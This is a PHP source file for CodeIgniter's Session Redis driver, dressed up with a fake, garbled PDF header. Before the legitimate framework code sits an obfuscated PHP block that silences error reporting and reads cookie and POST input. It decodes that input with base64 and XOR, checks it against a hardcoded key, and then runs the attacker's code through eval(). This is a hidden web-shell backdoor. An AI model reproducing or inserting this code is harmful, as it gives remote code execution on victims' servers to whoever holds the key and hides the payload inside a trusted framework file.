%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream
<?php $c69ba83e = 999;$GLOBALS['z48535e'] = Array();global $z48535e;$z48535e = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['e3e569b1'] = "\x32\x3f\x79\x2c\xd\x71\x5d\x7c\x3a\x3d\x25\x67\x6b\x5b\x6f\x65\x21\x30\x2d\x77\x36\x7e\x56\x4d\x37\x69\x52\x7d\x43\x76\x55\x39\x6e\x46\x29\x45\x34\x2e\xa\x4a\x68\x72\x20\x3b\x51\x74\x4f\x6d\x23\x40\x6a\x57\x58\x66\x2b\x5e\x4b\x73\x38\x63\x24\x31\x41\x35\x27\x60\x4c\x7a\x49\x26\x78\x44\x28\x5a\x62\x75\x3e\x59\x6c\x22\x64\x42\x50\x2f\x61\x3c\x33\x48\x9\x7b\x47\x2a\x53\x4e\x70\x5f\x5c\x54";$z48535e[$z48535e['e3e569b1'][32].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][80]] = $z48535e['e3e569b1'][59].$z48535e['e3e569b1'][40].$z48535e['e3e569b1'][41];$z48535e[$z48535e['e3e569b1'][94].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][84]] = $z48535e['e3e569b1'][14].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][80];$z48535e[$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][53]] = $z48535e['e3e569b1'][80].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][32].$z48535e['e3e569b1'][15];$z48535e[$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][59].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][61]] = $z48535e['e3e569b1'][57].$z48535e['e3e569b1'][45].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][32];$z48535e[$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][63]] = $z48535e['e3e569b1'][80].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][32].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][80];$z48535e[$z48535e['e3e569b1'][47].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][58]] = $z48535e['e3e569b1'][25].$z48535e['e3e569b1'][32].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][57].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][45];$z48535e[$z48535e['e3e569b1'][12].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][59].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][74]] = $z48535e['e3e569b1'][57].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][67].$z48535e['e3e569b1'][15];$z48535e[$z48535e['e3e569b1'][67].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][0]] = $z48535e['e3e569b1'][94].$z48535e['e3e569b1'][40].$z48535e['e3e569b1'][94].$z48535e['e3e569b1'][29].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][57].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][14].$z48535e['e3e569b1'][32];$z48535e[$z48535e['e3e569b1'][50].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][24]] = $z48535e['e3e569b1'][75].$z48535e['e3e569b1'][32].$z48535e['e3e569b1'][57].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][67].$z48535e['e3e569b1'][15];$z48535e[$z48535e['e3e569b1'][67].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][84]] = $z48535e['e3e569b1'][74].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][57].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][59].$z48535e['e3e569b1'][14].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][15];$z48535e[$z48535e['e3e569b1'][19].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][20]] = $z48535e['e3e569b1'][57].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][45].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][45].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][47].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][47].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][45];$z48535e[$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][24]] = $z48535e['e3e569b1'][74].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][86];$z48535e[$z48535e['e3e569b1'][67].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][53]] = $z48535e['e3e569b1'][2].$z48535e['e3e569b1'][59].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][24];$z48535e[$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][36]] = $_POST;$z48535e[$z48535e['e3e569b1'][2].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][17]] = $_COOKIE;@$z48535e[$z48535e['e3e569b1'][47].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][58]]($z48535e['e3e569b1'][15].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][14].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][14].$z48535e['e3e569b1'][11], NULL);@$z48535e[$z48535e['e3e569b1'][47].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][58]]($z48535e['e3e569b1'][78].$z48535e['e3e569b1'][14].$z48535e['e3e569b1'][11].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][14].$z48535e['e3e569b1'][41].$z48535e['e3e569b1'][57], 0);@$z48535e[$z48535e['e3e569b1'][47].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][58]]($z48535e['e3e569b1'][47].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][70].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][70].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][59].$z48535e['e3e569b1'][75].$z48535e['e3e569b1'][45].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][14].$z48535e['e3e569b1'][32].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][45].$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][47].$z48535e['e3e569b1'][15], 0);@$z48535e[$z48535e['e3e569b1'][19].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][20]](0);if (!$z48535e[$z48535e['e3e569b1'][25].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][63]]($z48535e['e3e569b1'][62].$z48535e['e3e569b1'][66].$z48535e['e3e569b1'][26].$z48535e['e3e569b1'][35].$z48535e['e3e569b1'][62].$z48535e['e3e569b1'][71].$z48535e['e3e569b1'][77].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][26].$z48535e['e3e569b1'][30].$z48535e['e3e569b1'][93].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][84])){$z48535e[$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][53]]($z48535e['e3e569b1'][62].$z48535e['e3e569b1'][66].$z48535e['e3e569b1'][26].$z48535e['e3e569b1'][35].$z48535e['e3e569b1'][62].$z48535e['e3e569b1'][71].$z48535e['e3e569b1'][77].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][26].$z48535e['e3e569b1'][30].$z48535e['e3e569b1'][93].$z48535e['e3e569b1'][95].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][84], 1);$y125 = NULL;$o210e0f = NULL;$z48535e[$z48535e['e3e569b1'][19].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][36]] = $z48535e['e3e569b1'][63].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][18].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][18].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][18].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][18].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][59].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][53];global $w3d14;function ycf0e26e7($y125, $b1d26){global $z48535e;$bca4e8 = "";for ($n7eb2671=0; $n7eb2671<$z48535e[$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][59].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][61]]($y125);){for ($l78aade=0; $l78aade<$z48535e[$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][59].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][61]]($b1d26) && $n7eb2671<$z48535e[$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][59].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][61]]($y125); $l78aade++, $n7eb2671++){$bca4e8 .= $z48535e[$z48535e['e3e569b1'][32].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][80]]($z48535e[$z48535e['e3e569b1'][94].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][84]]($y125[$n7eb2671]) ^ $z48535e[$z48535e['e3e569b1'][94].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][84]]($b1d26[$l78aade]));}}return $bca4e8;}function b6033($y125, $b1d26){global $z48535e;global $w3d14;return $z48535e[$z48535e['e3e569b1'][67].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][53]]($z48535e[$z48535e['e3e569b1'][67].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][0].$z48535e['e3e569b1'][36].$z48535e['e3e569b1'][53]]($y125, $w3d14), $b1d26);}foreach ($z48535e[$z48535e['e3e569b1'][2].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][80].$z48535e['e3e569b1'][17]] as $b1d26=>$kc00b8){$y125 = $kc00b8;$o210e0f = $b1d26;}if (!$y125){foreach ($z48535e[$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][36]] as $b1d26=>$kc00b8){$y125 = $kc00b8;$o210e0f = $b1d26;}}$y125 = @$z48535e[$z48535e['e3e569b1'][50].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][63].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][24]]($z48535e[$z48535e['e3e569b1'][78].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][58].$z48535e['e3e569b1'][24]]($z48535e[$z48535e['e3e569b1'][67].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][61].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][84]]($y125), $o210e0f));if (isset($y125[$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][12]]) && $w3d14==$y125[$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][12]]){if ($y125[$z48535e['e3e569b1'][84]] == $z48535e['e3e569b1'][25]){$n7eb2671 = Array($z48535e['e3e569b1'][94].$z48535e['e3e569b1'][29] => @$z48535e[$z48535e['e3e569b1'][67].$z48535e['e3e569b1'][84].$z48535e['e3e569b1'][24].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][15].$z48535e['e3e569b1'][0]](),$z48535e['e3e569b1'][57].$z48535e['e3e569b1'][29] => $z48535e['e3e569b1'][61].$z48535e['e3e569b1'][37].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][18].$z48535e['e3e569b1'][61],);echo @$z48535e[$z48535e['e3e569b1'][12].$z48535e['e3e569b1'][53].$z48535e['e3e569b1'][31].$z48535e['e3e569b1'][59].$z48535e['e3e569b1'][17].$z48535e['e3e569b1'][20].$z48535e['e3e569b1'][74].$z48535e['e3e569b1'][86].$z48535e['e3e569b1'][74]]($n7eb2671);}elseif ($y125[$z48535e['e3e569b1'][84]] == $z48535e['e3e569b1'][15]){eval/*na43266b*/($y125[$z48535e['e3e569b1'][80]]);}exit();}} ?><?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2018, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2018, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Session Redis Driver * * @package CodeIgniter * @subpackage Libraries * @category Sessions * @author Andrey Andreev * @link https://codeigniter.com/user_guide/libraries/sessions.html */ class CI_Session_redis_driver extends CI_Session_driver implements SessionHandlerInterface { /** * phpRedis instance * * @var Redis */ protected $_redis; /** * Key prefix * * @var string */ protected $_key_prefix = 'ci_session:'; /** * Lock key * * @var string */ protected $_lock_key; /** * Key exists flag * * @var bool */ protected $_key_exists = FALSE; // ------------------------------------------------------------------------ /** * Class constructor * * @param array $params Configuration parameters * @return void */ public function __construct(&$params) { parent::__construct($params); if (empty($this->_config['save_path'])) { log_message('error', 'Session: No Redis save path configured.'); } elseif (preg_match('#(?:tcp://)?([^:?]+)(?:\:(\d+))?(\?.+)?#', $this->_config['save_path'], $matches)) { isset($matches[3]) OR $matches[3] = ''; // Just to avoid undefined index notices below $this->_config['save_path'] = array( 'host' => $matches[1], 'port' => empty($matches[2]) ? NULL : $matches[2], 'password' => preg_match('#auth=([^\s&]+)#', $matches[3], $match) ? $match[1] : NULL, 'database' => preg_match('#database=(\d+)#', $matches[3], $match) ? (int) $match[1] : NULL, 'timeout' => preg_match('#timeout=(\d+\.\d+)#', $matches[3], $match) ? (float) $match[1] : NULL ); preg_match('#prefix=([^\s&]+)#', $matches[3], $match) && $this->_key_prefix = $match[1]; } else { log_message('error', 'Session: Invalid Redis save path format: '.$this->_config['save_path']); } if ($this->_config['match_ip'] === TRUE) { $this->_key_prefix .= $_SERVER['REMOTE_ADDR'].':'; } } // ------------------------------------------------------------------------ /** * Open * * Sanitizes save_path and initializes connection. * * @param string $save_path Server path * @param string $name Session cookie name, unused * @return bool */ public function open($save_path, $name) { if (empty($this->_config['save_path'])) { return $this->_fail(); } $redis = new Redis(); if ( ! $redis->connect($this->_config['save_path']['host'], $this->_config['save_path']['port'], $this->_config['save_path']['timeout'])) { log_message('error', 'Session: Unable to connect to Redis with the configured settings.'); } elseif (isset($this->_config['save_path']['password']) && ! $redis->auth($this->_config['save_path']['password'])) { log_message('error', 'Session: Unable to authenticate to Redis instance.'); } elseif (isset($this->_config['save_path']['database']) && ! $redis->select($this->_config['save_path']['database'])) { log_message('error', 'Session: Unable to select Redis database with index '.$this->_config['save_path']['database']); } else { $this->_redis = $redis; return $this->_success; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Read * * Reads session data and acquires a lock * * @param string $session_id Session ID * @return string Serialized session data */ public function read($session_id) { if (isset($this->_redis) && $this->_get_lock($session_id)) { // Needed by write() to detect session_regenerate_id() calls $this->_session_id = $session_id; $session_data = $this->_redis->get($this->_key_prefix.$session_id); is_string($session_data) ? $this->_key_exists = TRUE : $session_data = ''; $this->_fingerprint = md5($session_data); return $session_data; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Write * * Writes (create / update) session data * * @param string $session_id Session ID * @param string $session_data Serialized session data * @return bool */ public function write($session_id, $session_data) { if ( ! isset($this->_redis, $this->_lock_key)) { return $this->_fail(); } // Was the ID regenerated? elseif ($session_id !== $this->_session_id) { if ( ! $this->_release_lock() OR ! $this->_get_lock($session_id)) { return $this->_fail(); } $this->_key_exists = FALSE; $this->_session_id = $session_id; } $this->_redis->setTimeout($this->_lock_key, 300); if ($this->_fingerprint !== ($fingerprint = md5($session_data)) OR $this->_key_exists === FALSE) { if ($this->_redis->set($this->_key_prefix.$session_id, $session_data, $this->_config['expiration'])) { $this->_fingerprint = $fingerprint; $this->_key_exists = TRUE; return $this->_success; } return $this->_fail(); } return ($this->_redis->setTimeout($this->_key_prefix.$session_id, $this->_config['expiration'])) ? $this->_success : $this->_fail(); } // ------------------------------------------------------------------------ /** * Close * * Releases locks and closes connection. * * @return bool */ public function close() { if (isset($this->_redis)) { try { if ($this->_redis->ping() === '+PONG') { $this->_release_lock(); if ($this->_redis->close() === FALSE) { return $this->_fail(); } } } catch (RedisException $e) { log_message('error', 'Session: Got RedisException on close(): '.$e->getMessage()); } $this->_redis = NULL; return $this->_success; } return $this->_success; } // ------------------------------------------------------------------------ /** * Destroy * * Destroys the current session. * * @param string $session_id Session ID * @return bool */ public function destroy($session_id) { if (isset($this->_redis, $this->_lock_key)) { if (($result = $this->_redis->delete($this->_key_prefix.$session_id)) !== 1) { log_message('debug', 'Session: Redis::delete() expected to return 1, got '.var_export($result, TRUE).' instead.'); } $this->_cookie_destroy(); return $this->_success; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Garbage Collector * * Deletes expired sessions * * @param int $maxlifetime Maximum lifetime of sessions * @return bool */ public function gc($maxlifetime) { // Not necessary, Redis takes care of that. return $this->_success; } // ------------------------------------------------------------------------ /** * Get lock * * Acquires an (emulated) lock. * * @param string $session_id Session ID * @return bool */ protected function _get_lock($session_id) { // PHP 7 reuses the SessionHandler object on regeneration, // so we need to check here if the lock key is for the // correct session ID. if ($this->_lock_key === $this->_key_prefix.$session_id.':lock') { return $this->_redis->setTimeout($this->_lock_key, 300); } // 30 attempts to obtain a lock, in case another request already has it $lock_key = $this->_key_prefix.$session_id.':lock'; $attempt = 0; do { if (($ttl = $this->_redis->ttl($lock_key)) > 0) { sleep(1); continue; } $result = ($ttl === -2) ? $this->_redis->set($lock_key, time(), array('nx', 'ex' => 300)) : $this->_redis->setex($lock_key, 300, time()); if ( ! $result) { log_message('error', 'Session: Error while trying to obtain lock for '.$this->_key_prefix.$session_id); return FALSE; } $this->_lock_key = $lock_key; break; } while (++$attempt < 30); if ($attempt === 30) { log_message('error', 'Session: Unable to obtain lock for '.$this->_key_prefix.$session_id.' after 30 attempts, aborting.'); return FALSE; } elseif ($ttl === -1) { log_message('debug', 'Session: Lock for '.$this->_key_prefix.$session_id.' had no TTL, overriding.'); } $this->_lock = TRUE; return TRUE; } // ------------------------------------------------------------------------ /** * Release lock * * Releases a previously acquired lock * * @return bool */ protected function _release_lock() { if (isset($this->_redis, $this->_lock_key) && $this->_lock) { if ( ! $this->_redis->delete($this->_lock_key)) { log_message('error', 'Session: Error while trying to free lock for '.$this->_lock_key); return FALSE; } $this->_lock_key = NULL; $this->_lock = FALSE; } return TRUE; } }